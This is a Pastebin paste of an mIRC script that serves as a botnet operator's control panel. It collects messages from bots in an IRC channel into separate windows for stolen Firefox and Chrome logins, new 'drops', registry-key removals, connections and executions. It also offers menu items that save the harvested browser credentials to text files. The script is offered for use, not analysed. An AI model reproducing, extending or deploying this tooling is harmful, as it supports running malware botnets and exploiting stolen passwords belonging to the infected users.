Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- alias saveFF {
- var %total = $line(@firefox,0)
- var %i = 1
- while (%i <= %total) {
- write firefox.txt $strip($gettok($line(@firefox,%i),2-,32))
- inc %i
- }
- }
- alias saveCrm {
- var %total = $line(@firefox,0)
- var %i = 1
- while (%i <= %total) {
- write chrome.txt $strip($gettok($line(@chrome,%i),2-,32))
- inc %i
- }
- }
- alias bot_start {
- window -n @bk
- window -n @newdrop
- window -n @chrome
- window -n @firefox
- window -n @bkI
- window -n @conection
- window -n @execute
- echo -a 4All @Windows loaded minized.
- }
- on *:load:{
- bot_start
- }
- ;;channel, status menu start
- menu channel,status {
- b0tnet windows
- .Open @window:{
- bot_start
- }
- .Close @windows:{
- close -@ @bk
- close -@ @newdrop
- close -@ @chrome
- close -@ @firefox
- close -@ @bkI
- close -@ @conection
- close -@ @execute
- }
- }
- ;;@windows menu
- menu @execute {
- &Clear:{
- clear @execute
- }
- &Close:{
- close -@ @execute
- }
- }
- menu @conection {
- &Clear:{
- clear @conection
- }
- &Close:{
- close -@ @conection
- }
- }
- menu @bkI {
- &Clear:{
- clear @bkI
- }
- &Close:{
- close -@ @bkI
- }
- }
- menu @firefox {
- &Clear:{
- clear @firefox
- }
- &Close:{
- close -@ @firefox
- }
- &Save Logins:{
- saveFF
- echo @firefox 4all firefox logins saved as firefox.txt in $mircdir
- }
- &Open firefox.txt:{
- run $mircdir/firefox.txt
- }
- }
- menu @chrome {
- &Clear:{
- clear @chrome
- }
- &Close:{
- close -@ @chrome
- }
- &Save Logins:{
- saveCrm
- echo @chrome 4all chrome logins saved as chrome.txt in $mircdir
- }
- &Open chrome.txt:{
- run $mircdir/chrome.txt
- }
- }
- menu @newdrop {
- &Clear:{
- clear @newdrop
- }
- &Close:{
- close -@ @newdrop
- }
- }
- menu @bk {
- &Clear:{
- clear @bk
- }
- &Close:{
- close -@ @bk
- }
- }
- ;;on text event
- ;;@bk
- on *:text:*Removing registry key*:#:{
- aline @bk $+($nick,:,$chr(32),$1-)
- flash -r3
- }
- ;;@newdrop
- on *:text:*New drop*:#:{
- aline @newdrop $+($nick,:,$chr(32),$1-)
- flash -r3
- }
- ;;@bk -i
- on *:text:*Registry key removed*:#:{
- aline @bkI $+($nick,:,$chr(32),$1-)
- flash -r3
- }
- ;;@connection
- on *:text:*connection*:#:{ aline @conection $+($nick,:,$chr(32),$1-) }
- ;;@chrome
- on *:text:*chrome*:#:{
- aline @chrome $+($nick,:,$chr(32),$1-)
- }
- ;;@firefox
- on *:text:*firefox*:#:{
- aline @firefox $+($nick,:,$chr(32),$1-)
- }
- ;;@execute
- on *:text:*execute*:#:{
- aline @execute $+($nick,:,$chr(32),$1-)
- }
Advertisement
Add Comment
Please, Sign In to add comment